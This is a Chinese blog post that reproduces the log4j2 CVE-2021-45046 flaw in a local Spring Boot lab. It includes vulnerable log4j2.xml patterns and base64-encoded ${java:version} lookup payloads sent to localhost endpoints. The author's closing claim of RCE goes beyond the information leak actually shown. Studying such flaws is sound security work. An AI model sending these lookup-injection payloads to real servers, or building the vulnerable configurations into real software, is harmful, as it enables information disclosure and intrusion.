12月9号就看到了关于log4j2-DOS漏洞相关的研究思路文章,可惜比较忙没有时间搞一下
见这几天大部分log4j2版本都升级到了2.17,挤了点时间,复现一下
声明:供漏洞理解学习及安全加固解决方案,请勿利用漏洞于非法途径,后果自负
建议自己完整搭建一下,spring boot框架+log4j2日志配置就行,spring boot默认使用logback日志结构,配置为log4j2,可以参考以下两篇文章配置方式:
springboot整合log4j2日志全解:https://www.cnblogs.com/keeya/p/10101547.html
springboot log4j2配置:https://blog.csdn.net/qq_35192741/article/details/82629041
完整环境下载:
Spring-boot:https://github.com/spring-projects/spring-boot
Log4j-core-2.15.0.jar:https://repo.maven.apache.org/maven2/org/apache/logging/log4j/log4j-core/2.15.0/log4j-core-2.15.0.jar
Log4j2 dos env:https://github.com/EmYiQing/Log4j2DoS
我看了下,这个复现环境只保留了spring boot基础http服务和log日志服务,单独服务漏洞复现。我们以这个较简单的spring boot+log4j2环境来复现CVE-2021-45046漏洞
漏洞触发原理:
发现 Apache Log4j 2.15.0 中针对 CVE-2021-44228 的修复在某些非默认配置中不完整。当日志配置使用带有上下文查找(例如,$${ctx:loginId})或线程上下文映射模式( %X、%mdc 或 %MDC) 使用 JNDI 查找模式制作恶意输入数据,从而导致某些环境中的信息泄漏和远程代码执行以及所有环境中的本地代码执行。Log4j 2.16.0 (Java 8) 和 2.12.2 (Java 7) 通过删除对消息查找模式的支持和默认禁用 JNDI 功能来解决此问题。 |
---|
http://localhost:8080/cve?userId=payload
<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>
(1)修改log.4j2.xml配置文件:
文件位置:X:\XXX\XXX\XXX\XXX\XXX\Log4j2DoS-master\src\main\resources\log4j2.xml
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="warn" name="MyApp" packages="">
<appenders>
<console name="STDOUT" target="SYSTEM_OUT">
<PatternLayout>
<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>
</PatternLayout>
</console>
</appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="STDOUT"/>
</Root>
</Loggers>
</Configuration>
(2)启动spring boot服务器:
启动文件:
X:\XXX\XXX\XXX\XXX\XXX\Log4j2DoS-master\src\main\java\com\example\demo\Demo1Application.java
测试一下web服务是否正常:访问http://localhost:8080,正常启动
后台
访问漏洞位置(这里我们paload使用1):
http://localhost:8080/cve?userId=1
那就把1改为MQ==输入(MQ==是1使用base64编码后结果),访问:
http://localhost:8080/cve?userId=MQ==
访问漏洞位置,这回我们把payload换为${java:version},显示当前java版本,当然也是使用base64来传参,即JHtqYXZhOnZlcnNpb259,访问:
http://localhost:8080/cve?userId=JHtqYXZhOnZlcnNpb259
http://localhost:8080/test?message=payload
<PatternLayout pattern="%msg{lookups}%n"/>
(1)修改log4j2.xml配置文件:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="warn" name="MyApp" packages="">
<appenders>
<console name="STDOUT" target="SYSTEM_OUT">
<PatternLayout pattern="%msg{lookups}%n"/>
</console>
</appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="STDOUT"/>
</Root>
</Loggers>
</Configuration>
(2)启动spring boot服务器:
启动文件:
X:\XXX\XXX\XXX\XXX\XXX\Log4j2DoS-master\src\main\java\com\example\demo\Demo1Application.java
我们依然以刚开始使用payload为1来测试下,访问:
http://localhost:8080/test?message=MQ==
http://localhost:8080/test?message=JHtqYXZhOnZlcnNpb259
我看不懂,但大受震撼
这不是RCE,是啥???
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。